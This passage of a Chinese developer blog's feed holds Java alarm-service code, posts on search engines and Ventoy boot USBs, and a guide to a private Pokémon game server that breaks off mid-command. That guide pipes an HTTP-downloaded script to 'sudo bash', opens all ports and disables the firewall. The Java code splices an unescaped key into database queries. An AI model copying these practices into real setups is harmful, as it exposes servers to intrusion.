redisTemplate.opsForHash().put(TOXIC_AND_HARMFUL_DATA_ALARM + key, <span class="string">&quot;level&quot;</span>, level);  </span><br><span class="line">            redisTemplate.opsForHash().put(TOXIC_AND_HARMFUL_DATA_ALARM + key, <span class="string">&quot;value&quot;</span>, value);  </span><br><span class="line">            redisTemplate.opsForHash().put(TOXIC_AND_HARMFUL_DATA_ALARM + key, <span class="string">&quot;threshold&quot;</span>, factor.getLevelOneThreshold() * level);  </span><br><span class="line">  </span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;  </span><br><span class="line">            log.error(<span class="string">&quot;发送报警数据失败, key: &#123;&#125;, value: &#123;&#125;, level: &#123;&#125;, 原因: &#123;&#125;&quot;</span>, key, value, level, e.getLocalizedMessage());  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 清除报警  </span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> key key  </span></span><br><span class="line"><span class="comment">     */</span>    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">clearAlarmAsync</span><span class="params">(String key, String name)</span> &#123;  </span><br><span class="line">        <span class="keyword">if</span> (Boolean.TRUE.equals(redisTemplate.hasKey(TOXIC_AND_HARMFUL_DATA_ALARM + key))) &#123;  </span><br><span class="line">            log.info(<span class="string">&quot;移除&#123;&#125;报警缓存，添加消警时间&quot;</span>, key);  </span><br><span class="line">            <span class="comment">// 移除redis报警  </span></span><br><span class="line">            redisTemplate.delete(TOXIC_AND_HARMFUL_DATA_ALARM + key);  </span><br><span class="line">            <span class="comment">// 获取当前点位未消警的报警数据,删除后插入带有结束时间的数据  </span></span><br><span class="line">            <span class="type">String</span> <span class="variable">command</span> <span class="operator">=</span> <span class="string">&quot;SELECT * FROM &quot;</span> + DB_TOXIC_AND_HARMFUL_ALARM + <span class="string">&quot;\n&quot;</span> +  </span><br><span class="line">                    <span class="string">&quot;WHERE \&quot;code\&quot; = &#x27;&quot;</span> + key + <span class="string">&quot;&#x27; AND \&quot;type\&quot; = 0\n&quot;</span> +  </span><br><span class="line">                    <span class="string">&quot;ORDER BY time DESC\n&quot;</span> +  </span><br><span class="line">                    <span class="string">&quot;LIMIT 1&quot;</span>;  </span><br><span class="line">            List&lt;AlarmFieldDTO&gt; dataList = influxTemplate.queryBeanList(command, AlarmFieldDTO.class);  </span><br><span class="line">            <span class="comment">// 修改数据  </span></span><br><span class="line">            <span class="keyword">if</span> (!dataList.isEmpty()) &#123;  </span><br><span class="line">                <span class="type">AlarmFieldDTO</span> <span class="variable">fieldDTO</span> <span class="operator">=</span> dataList.get(<span class="number">0</span>);  </span><br><span class="line">                Map&lt;String, String&gt; tags = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">                tags.put(<span class="string">&quot;code&quot;</span>, key);  </span><br><span class="line">                tags.put(<span class="string">&quot;name&quot;</span>, name);  </span><br><span class="line">                Map&lt;String, Object&gt; fields = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">                fields.put(<span class="string">&quot;value&quot;</span>, fieldDTO.getValue());  </span><br><span class="line">                fields.put(<span class="string">&quot;alarmTime&quot;</span>, fieldDTO.getAlarmTime());  </span><br><span class="line">                fields.put(<span class="string">&quot;unit&quot;</span>, fieldDTO.getUnit());  </span><br><span class="line">                fields.put(<span class="string">&quot;level&quot;</span>, fieldDTO.getLevel());  </span><br><span class="line">                fields.put(<span class="string">&quot;threshold&quot;</span>, fieldDTO.getThreshold());  </span><br><span class="line">                fields.put(<span class="string">&quot;content&quot;</span>, fieldDTO.getContent());  </span><br><span class="line">                fields.put(<span class="string">&quot;type&quot;</span>, <span class="number">1</span>);  </span><br><span class="line">                fields.put(<span class="string">&quot;clearTime&quot;</span>, LocalDateTime.now().format(DateTimeFormatter.ofPattern(NORM_DATETIME_PATTERN)));  </span><br><span class="line">                <span class="comment">// 移除原数据  </span></span><br><span class="line">                influxTemplate.query(<span class="string">&quot;DELETE FROM &quot;</span> + DB_TOXIC_AND_HARMFUL_ALARM + <span class="string">&quot; WHERE time = &#x27;&quot;</span> + <span class="keyword">new</span> <span class="title class_">SimpleDateFormat</span>(UTC_MS_WITH_ZONE_OFFSET_PATTERN).format(fieldDTO.getTime()) + <span class="string">&quot;&#x27;&quot;</span>);  </span><br><span class="line">                <span class="comment">// 增加数据  </span></span><br><span class="line">                influxTemplate.insert(DB_TOXIC_AND_HARMFUL_ALARM, tags, fields, fieldDTO.getTime().getTime(), TimeUnit.MILLISECONDS, ZoneOffset.of(<span class="string">&quot;+08:00&quot;</span>));  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">systemAction</span><span class="params">(HjData hjData)</span> &#123;  </span><br><span class="line">        log.info(<span class="string">&quot;执行系统指令&#123;&#125;&quot;</span>, hjData);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="引入的两个处理jar包说明">引入的两个处理jar包说明</h2><ul><li>allbs-hj212 参考代码<code>https://github.com/tracy4262/hj212.git</code>自己重新做了封装，且发布到了maven公共库便于引入使用。用来处理hj212报文协议，解析数据</li><li>allbs-influx 自己做的influxdb相关操作的封装，地址<code>https://github.com/chenqi92/allbs-influx.git</code>也上传至maven公共库中便于引入，如果你们需要可以使用<code>2.0.2</code>版本，<code>2.1.0</code>版本没测所以使用有点问题，后面会修改并且增加一些便捷方法。</li></ul><h2 id="源码地址">源码地址</h2><p>我上面的核心代码并不完整，可以直接去看源码。如果对你有用，给个star哦😘源码地址:</p><p><a href="https://github.com/chenqi92/pc-toxic-and-harmful.git">https://github.com/chenqi92/pc-toxic-and-harmful.git</a></p>]]></content>
    
    
    <summary type="html">使用java开发了一个有毒可燃气体监测数据接收的服务端</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>做了一个上线就瘸腿的小程序</title>
    <link href="https://blog.allbs.cn/posts/18006/"/>
    <id>https://blog.allbs.cn/posts/18006/</id>
    <published>2024-07-31T05:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<p>本来预想第一个版本只做两个功能：</p><ul><li>微信内无法预览的文件类型做个预览的功能</li><li>热点新闻一网打尽，直接在小程序内看各平台的新闻热点。</li></ul><p>然后发现现实是残酷的，个人认证的开发功能是不全的😂如果想要完整功能，还得去注册一家企业来开通更多功能，当然认证费用也由个人的30块涨到300块。。</p><h2 id="下面做个功能介绍">下面做个功能介绍</h2><h3 id="文件预览">文件预览</h3><p>相信很多人都遇到过微信无法直接打开某些类型的文件，比如CAD的dwg，使用起来很不方便。我这个功能就是选择某个群聊中的文件直接在小程序中完成浏览。<br>效果如下，左侧是选取文件，右侧是直接在小程序中浏览的效果。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/ec0e779216eb1a7fa5c7d0f2d8f9ebf5.png" alt="1722329956751.png"></p><p>但是，没想到个人认证的用户功能受限。想使用这个功能还得从小程序切出来在浏览器中看🤣未上线就瘸腿了。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/b2d55c27ecfd1ff173c6eb539c9a8940.png" alt="小程序开发文档"></p><h3 id="新闻热点总-览">新闻热点总#览</h3><p>效果如下，就是把各平台的新闻热点做了个聚合。考虑到上面的个人类型权限首先所有也无法直接跳转看原文了。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/93fec1787f00adfca02118b223f608c3.png" alt="1722330252270.png"></p><p>但是没想到这次是直接没法通过：<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/3114d04b88aee70a5bd31f319abb5e1c.png" alt="审核结果"></p><p>只能将功能完全砍掉了。。。</p><h2 id="后续预想添加的功能">后续预想添加的功能</h2><ul><li>照片裁剪，更换背景色，使其形成1寸、2寸照片</li><li>OCR识别(具体做什么功能没想好，比如扫彩票查看中了多少？)</li><li>其他语言书籍翻译</li><li>英语单词训练做个排名？</li></ul><h2 id="小程序扫码体验">小程序扫码体验</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/13fcbdf5aa62981caef5a43b029b1749.jpg" alt=""></p>]]></content>
    
    
    <summary type="html">小程序</summary>
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="小程序" scheme="https://blog.allbs.cn/tags/%E5%B0%8F%E7%A8%8B%E5%BA%8F/"/>
    
  </entry>
  
  <entry>
    <title>在当代互联网生态中如何有效的查询你所需要的知识，谷歌、必应、百度、公众号、各视频平台数据得有效性</title>
    <link href="https://blog.allbs.cn/posts/25647/"/>
    <id>https://blog.allbs.cn/posts/25647/</id>
    <published>2024-07-23T03:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h2 id="起因">起因</h2><p>知乎刷到一篇文章,如下：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/23de6c1fb5d4e755edef395b6451cf43.png" alt="内容如下"></p><p>看了很多评论，发现了一个很核心的问题，大家无法从现代极度发达的互联网生态中找到自己真正想要的内容，会被大量无用的信息所干扰。那么我们就试着搜索一下想要的内容，看有东西有多少是可用的，有多少是干扰的垃圾信息。</p><h2 id="以热榜的国家食品标准为例，查找相关信息。">以热榜的国家食品标准为例，查找相关信息。</h2><h3 id="百度">百度</h3><p>搜索<code>中国食品安全标准</code>得到的信息如下:</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/5b5d0deb921de0855cfa59e6b6e2c902.png" alt="百度搜索内容"></p><p>整个首页除了底部最后是一个政府官网，其他要么就是百度系的不知所谓的内容，要么就是非官方的若干年前的新闻。秉着只信任官方的原则，点开第一页的最后一个链接，内容如下：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/423ca3991f09cb4fe87de37b28b42f1a.png" alt="官方内容"></p><p>好吧，这样的内容明显是不符合我们想要的内容的。</p><p>那么我们按照顺序从上往下找，第一个是百度百科，这种东西图个乐，你们自己点开就知道没啥有价值的内容了。然后点击排名第二的链接，发现居然是被告😂，点开后有详细的名称和执行标准，如下:</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/d6262a0ffdc3f8d68932fe366f99410a.png" alt="食品伙伴网"></p><p>其实有了标准我们就好查阅相关内容了，比如我们查找食品添加剂的使用标准：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/bc978ae6bd75830961d3f23f8be8a7f7.png" alt="食品添加剂标准"></p><p>可以看到首页依然只有一个政府相关网站，就是宁津县人民政府的网页。虽然依旧是大量的非官方网站，以让你付费下载的目的做展示，但是至少有一个政府网页能排前三了🤣</p><h3 id="Google">Google</h3><p>作为一个非国内运营的网站，很多人口中十多年前被百度打的抱头鼠窜的搜索引擎，我们来看下表现如何：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/9b5357d5bf0d1e31fd71f9f75abbf379.png" alt="谷歌搜索"></p><p>展示内容基本全是我国政府网站信息，和百度系一比，一切尽在不言中。</p><p>我们继续点开第一个链接，发现能够轻松找到今年的官方的食品执行标准，从标准号中的年份可以看到，这个标准要比上方能找到的标准要新的，上方的标准落后十年。当然我不是做食品行业的，也不知道这个标准是不是同一个类，但是从名称和Gb2760来看应该是同一个。标准内容如下：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/c23c8f633563a434b8e0bdc6b3615dc7.png" alt="食品添加剂标准"></p><p>我们继续按照上方百度的查找方法，继续查找食品添加剂标准:</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/6256846da17d5d5da177f693127c3814.png" alt="GB 2760-2024"></p><p>能够看到依然是能够轻松的找到具体执行标准的，但是显示的主要还是英文内容，这点表现很差，我们必须加入限定词如<code>中文GB 2760-2024</code>搜索内容如下:</p><p>除了第一项政府官方只有一个名称外，其他链接都是能直观展示协议内容的。好吧，官方信息反而成为一个阻碍了😅</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/89343e63565e8ac914212142329c52f2.png" alt="中文GB 2760-2024"></p><p>从目前来看，一个境外的搜索引擎是完爆了百度的，现在还是AI时代，百度存在的意思是不是剩下看新闻和看广告了？哦对了，还有大量的内容农场。。。。</p><h3 id="bing">bing</h3><p>考虑到国内使用谷歌有一道门槛，我们继续用第三个搜索引擎<code>bing</code>来试试</p><p>结果如下,第一项是2023年的内容，里面的标准依然是2014年的。第二项为今年的内容，执行标准为2024年，从这点来看结果还不错。其他链接我也点开了，有点牛头不对马嘴。。。虽然比不上谷歌，也可能产生错误的判断，但是有心人还是能找到想要的结果的，就是有一定门槛。</p><p>依然是搜索同一个内容:</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/6c1727674e21904829883073d3b0548c.png" alt="bing搜索结果"></p><h3 id="公众号">公众号</h3><p>还是一样的搜索标准，能够明确的看到想要的搜索结果，而且是最新的内容。说实话这个结果还是挺不错的。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/b5af19724f478bc72264ddeba80c74af.png" alt="公众号"></p><h3 id="小红书、抖音等视频平台">小红书、抖音等视频平台</h3><p>有东西，但不多。没有花费时间的必要</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/bcae8dc2b83a0fef17cbb95508a23881.png" alt="image-20240723110037990"></p><h2 id="结论">结论</h2><p>根据以上的搜素结果可以得到一定的结论，虽然不代表所有的搜索内容都如此，但是可以参照。</p><p>考虑到微信公众号有一些我这种自媒体，其中的消息会有失真，所以我最终给出的结果是:</p><p>谷歌 ≥ 公众号 &gt; bing &gt; 百度 &gt; 视频平台</p>]]></content>
    
    
    <summary type="html">在当代互联网生态中如何有效的查询你所需要的知识，谷歌、必应、百度、公众号、各视频平台数据得有效性</summary>
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>制作一个多系统的启动u盘,便与重装各种系统</title>
    <link href="https://blog.allbs.cn/posts/48500/"/>
    <id>https://blog.allbs.cn/posts/48500/</id>
    <published>2024-07-15T01:00:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h2 id="简介">简介</h2><p>在日常生活和工作中，我们常常需要安装不同的操作系统或在不同系统之间切换。传统的U盘启动盘制作方式需要不断格式化和写入新的镜像文件，既耗时又繁琐。现在我们这个开源免费的工具就是为了解决这些问题而出现。Ventoy是一款开源的工具，能够让你在U盘上直接启动ISO、WIM、IMG、VHD(x)、EFI文件，而无需每次都格式化U盘。你只需将这些镜像文件复制到U盘中，就可以通过Ventoy来选择启动哪个操作系统。</p><h2 id="准备工作">准备工作</h2><p>在开始之前，你需要准备以下物品和软件：</p><ul><li>一个容量足够大的U盘（建议至少16GB）</li><li>需要启动的操作系统镜像文件（例如Windows、Linux、CenterOs等）</li><li>Ventoy软件（可从<a href="https://www.ventoy.net/en/download.html">Ventoy官网</a>下载）<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/24065cc0b38e4afdb032a56267e50553.png" alt="软件下载"></li></ul><h2 id="制作步骤">制作步骤</h2><h3 id="1-下载并安装Ventoy">1. 下载并安装Ventoy</h3><p>首先，从Ventoy官网下载最新版本的Ventoy工具包。下载完成后，解压文件，并根据你的操作系统选择相应的版本（Windows、Linux）。<br>比如我windows就下载:<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/7e62ddc82ea86acdc6ccad0f1e9a90f2.png" alt="windows ventory"></p><h3 id="2-安装Ventoy到U盘">2. 安装Ventoy到U盘</h3><ol><li>插入U盘，并确保U盘中没有重要数据，因为接下来的步骤会格式化U盘。</li><li>运行Ventoy2Disk.exe（Windows系统）<a href="http://xn--ventoy2disk-jz8v.sh">或ventoy2disk.sh</a>（Linux系统）。</li><li>在Ventoy界面中选择你的U盘设备，并点击“Install”按钮。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/da36e064885fb710a3cd005268499a98.png" alt="image.png"></li></ol><p>Ventoy会自动选择你的U盘，如果没有查询到则点击左上角<code>配置选项</code>-&gt;<code>显示所有设备</code>这样可以把你所有储存都显示出来，但是一定要注意不要把自己电脑硬盘给格了！！！<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/1467fdbfd83d70b3001ddc39618fbe89.png" alt="所有储存设备"></p><ol start="4"><li>确认安装操作，Ventoy会自动格式化并安装到U盘中。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/baddfa897b269c1a91320fb3fac9eee4.png" alt="开始安装"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/27c07094de28a831579dfbff5ce380e8.png" alt="成功安装"></li></ol><h3 id="3-复制镜像文件到U盘">3. 复制镜像文件到U盘</h3><p>Ventoy安装完成后，你会发现U盘中有一个名为Ventoy的分区。现在，你只需将准备好的ISO、WIM等镜像文件直接复制到这个分区中即可。<br>可以选择多个镜像文件拷贝进u盘<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/e2caedd8b0f4e1440b80cbf813a81a6b.png" alt="拷贝文件"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/808402773f3e056ed4576cbb12bc1eb9.png" alt="拷贝镜像文件"></p><h3 id="4-启动U盘并选择操作系统">4. 启动U盘并选择操作系统</h3><p>将U盘插入目标电脑，启动电脑并进入BIOS设置，选择从U盘启动。Ventoy界面会显示你复制到U盘中的所有镜像文件，你只需选择你想要启动的操作系统即可。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/82e8018595dda29a3c28c99d86f0d45e.JPG" alt="选择系统"></p><h2 id="使用示例">使用示例</h2><h3 id="进入bios">进入bios</h3><p>将u盘插入需要重装系统的设备中。开机按<code>Delete</code>键，一般都是这个键，如果不行可以尝试<code>F1</code>、<code>F11</code>、<code>F12</code>之类的，进入bios。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/21056373f568b5b25947845d52403bbb.JPG" alt="进入bios"></p><h3 id="将u盘启动调整为第一顺序">将u盘启动调整为第一顺序</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/a2c695955d702194333721e3780a9f3b.JPG" alt="u盘启动"></p><h3 id="保存并推出">保存并推出</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/bec5c7f430221135790f64469c62dc70.JPG" alt="IMG_7960.JPG"></p><h3 id="选择你想安装的系统">选择你想安装的系统</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/b2b724a97aec748262b7cccd16d18901.png" alt="选择系统安装"></p><h3 id="完成安装">完成安装</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/ae6e47e027307a545bfb15bcda3789c6.png" alt="完成安装"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;简介&quot;&gt;简介&lt;/h2&gt;
&lt;p&gt;在日常生活和工作中，我们常常需要安装不同的操作系统或在不同系统之间切换。传统的U盘启动盘制作方式需要不断格式化和写入新的镜像文件，既耗时又繁琐。现在我们这个开源免费的工具就是为了解决这些问题而出现。Ventoy是一款开源的工具，能够让</summary>
      
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="ubuntu" scheme="https://blog.allbs.cn/tags/ubuntu/"/>
    
  </entry>
  
  <entry>
    <title>搭建一个精灵宝可梦的安卓、IOS双端的体验服，体验氪金大佬的感觉</title>
    <link href="https://blog.allbs.cn/posts/12877/"/>
    <id>https://blog.allbs.cn/posts/12877/</id>
    <published>2024-07-13T01:23:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[前言]<br>重要的事情说三遍，不要将本资源用于商业行为！不要用于商业行为！不对您的使用负任何责任！本文章以及资源仅供学习研究传播！</p></blockquote><h1>前言</h1><p>又到周末了，又可以愉快的玩游戏了。但是市面上手游不充值毫无体验，不如就自己搭一个手游私服给小伙伴们爽一下。当然我自己的云服务器小水管支持不了太多人，所以将完整的搭建方法提供出来。有兴趣的话h可以跟着复现一下，和你们的小伙伴们一起愉快的玩耍。</p><h1>效果图</h1><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/fa3f935291ac46799d0d5ced3b776f0f.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/fcd4fc64f9aead73c68540991b5f6376.png" alt="PixPin_2024-07-13_20-28-20.png"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/e866d888adbf5f352f49b4c2b0add7fd.png" alt="PixPin_2024-07-13_20-26-03.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/1c92c7e02db84b41dcb1abdab47eb102.png" alt="PixPin_2024-07-13_20-26-21.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/6bc8017c8772278d461b3cc65b725ecd.png" alt="PixPin_2024-07-13_20-27-39.png"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/45282d8739165168efa296352761fcc8.png" alt="PixPin_2024-07-13_20-28-13.png"></p><h1>体验</h1><p>首先进行账号注册<br>注册地址:<br><a href="http://121.40.70.175:88/">http://121.40.70.175:88/</a></p><p>安装包给我公众号发<code>宝可梦</code>即可</p><h1>Ubuntu服务器设置指南</h1><h2 id="更新源">更新源</h2><p>为了加快安装速度，建议将 apt 和 pip 源更换为腾讯源或者阿里源。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 切换到root用户</span></span><br><span class="line"><span class="built_in">sudo</span> -i</span><br><span class="line"><span class="comment"># 更新源</span></span><br><span class="line">apt-get update</span><br><span class="line"><span class="comment"># 安装ssh 我这只是为了不想在虚拟机中操作，所以才安装。如果你一直在虚拟机中或者云服务器中操作，可以不用这步</span></span><br><span class="line"><span class="built_in">sudo</span> apt-get install openssh-server</span><br><span class="line"><span class="comment"># 启用ssh</span></span><br><span class="line">systemctl start ssh</span><br><span class="line"><span class="comment"># 开机启用</span></span><br><span class="line">systemctl <span class="built_in">enable</span> ssh</span><br></pre></td></tr></table></figure><h2 id="安装所需软件包">安装所需软件包</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt-get install expect subversion build-essential lib32stdc++6 gcc-multilib g++-multilib python-dev pypy-dev gdb python2.7-dbg libcurl4-openssl-dev graphviz openssl libssl-dev swig gawk iotop lsof iftop ifstat iptraf htop dstat iotop ltrace strace sysstat bmon nethogs silversearcher-ag libsasl2-2 sasl2-bin libsasl2-modules python-setuptools luajit curl wget unzip python-pip</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/27fc3e205ff9674a5d6816e0d6a0581f.png" alt="安装所需的包"></p><h2 id="添加-MongoDB-密钥和源">添加 MongoDB 密钥和源</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 2930ADAE8CAF5059EE73BB4B58712A2291FA4AD5</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;deb http://repo.mongodb.org/apt/debian jessie/mongodb-org/3.6 main&quot;</span> | <span class="built_in">tee</span> /etc/apt/sources.list.d/mongodb-org-3.6.list</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/5a830c955b592c743dd521db5477a9c0.png" alt="image.png"></p><h2 id="安装宝塔面板便于操作">安装宝塔面板便于操作</h2><p>如果是老手，完全可以不用安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget -O install.sh http://download.bt.cn/install/install-ubuntu_6.0.sh &amp;&amp; <span class="built_in">sudo</span> bash install.sh</span><br></pre></td></tr></table></figure><p>输入 <code>y</code> 并按回车确认安装。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/69506160f329183f76d1396285b6800c.png" alt="宝塔安装完成"></p><p>登录并绑定账号<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/d36a9b40b2b74672cdc1458edbf566af.png" alt="登录并绑定账号"></p><h2 id="设置宝塔面板环境">设置宝塔面板环境</h2><ul><li>Nginx 1.18</li><li>MySQL 5.6</li><li>PHP 7.1</li></ul><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/6f586a66b81180edb732334a086484f8.png" alt="三件套"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/7b7a5aee26189c1608e44e500f709cd3.png" alt="安装中"></p><h3 id="增加虚拟内存（如果内存不足）">增加虚拟内存（如果内存不足）</h3><p>在宝塔面板中：</p><ul><li>进入软件商店 &gt; 系统工具 &gt; 安装 Linux 工具箱 &gt; 增加虚拟内存</li></ul><h3 id="放行端口">放行端口</h3><p>如果是云服务器中：</p><ul><li>进入安全组-&gt;放行端口: 1:65535<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/e42d86f1f213b3610b97256cbbf294e8.png" alt="安全组"></li></ul><p>如果是在宝塔面板中：</p><ul><li>进入安全 -&gt; 放行端口：1:65535<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/ee2c2b30203e475c854d51377bdcc6e3.png" alt="宝塔放行端口"></li></ul><h3 id="关闭防火墙">关闭防火墙</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> ufw <span class="built_in">disable</span></span><br></pre></td></tr></table></figure><h2 id="上传并解压服务端文件">上传并解压服务端文件</h2><p>资源关注我公众号<code>IT日常</code>发送<code>宝可梦源码</code>获取</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 上传 kdjx.tar.gz 到 /home/keke下,因为我虚拟机主机名称叫keke所以就是/home/keke,如果你的叫其他名字，就是/home/你的主机名称下</span></span><br><span class="line"><span class="built_in">cd</span> /home/keke</span><br><span class="line">tar -zxvf kdjx.tar.gz</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/3b0b31f7b1585cd3ceabceafc174d090.png" alt="使用工具上传文件"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/7301bdc17e2541cec9780f69e53d0e26.png" alt="解压文件"></p><h2 id="安装-MongoDB">安装 MongoDB</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt-get update</span><br><span class="line"><span class="built_in">mv</span> /home/keke/mongodb.tar.gz /</span><br><span class="line"><span class="built_in">cd</span> /</span><br><span class="line">tar -zxvf mongodb.tar.gz</span><br><span class="line">apt-get install mongodb-org=3.6.12 mongodb-org-server=3.6.12 mongodb-org-shell=3.6.12 mongodb-org-mongos=3.6.12 mongodb-org-tools=3.6.12</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/cd1eef534211cad321299d2abe7bcad5.png" alt="安装mongoDb"></p><p>安装所需包：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">pip install cython six lz4==0.8.2 numpy==1.16.0 xlrd xdot rpdb psutil fabric==1.7.3 pycurl pycrypto M2Crypto==0.36.0 objgraph msgpack-python backports.ssl-match-hostname Markdown toro pymongo pyrasite pyopenssl ThinkingDataSdk==1.4.0</span><br><span class="line">pip install tornado==4.4.2</span><br><span class="line">pip install Supervisor==3.3.0</span><br><span class="line">pip install cryptography==2.6</span><br></pre></td></tr></table></figure><h2 id="移动配置文件">移动配置文件</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">mv</span> /home/keke/default /etc/nginx/sites-available</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">mv</span> /home/keke/pokemon_server_test.tar.gz /mnt</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">mv</span> /home/keke/game.tar.gz /www/wwwroot</span><br></pre></td></tr></table></figure><h2 id="解压游戏文件">解压游戏文件</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /mnt</span><br><span class="line">tar -zxvf pokemon_server_test.tar.gz</span><br><span class="line"><span class="built_in">cd</span> 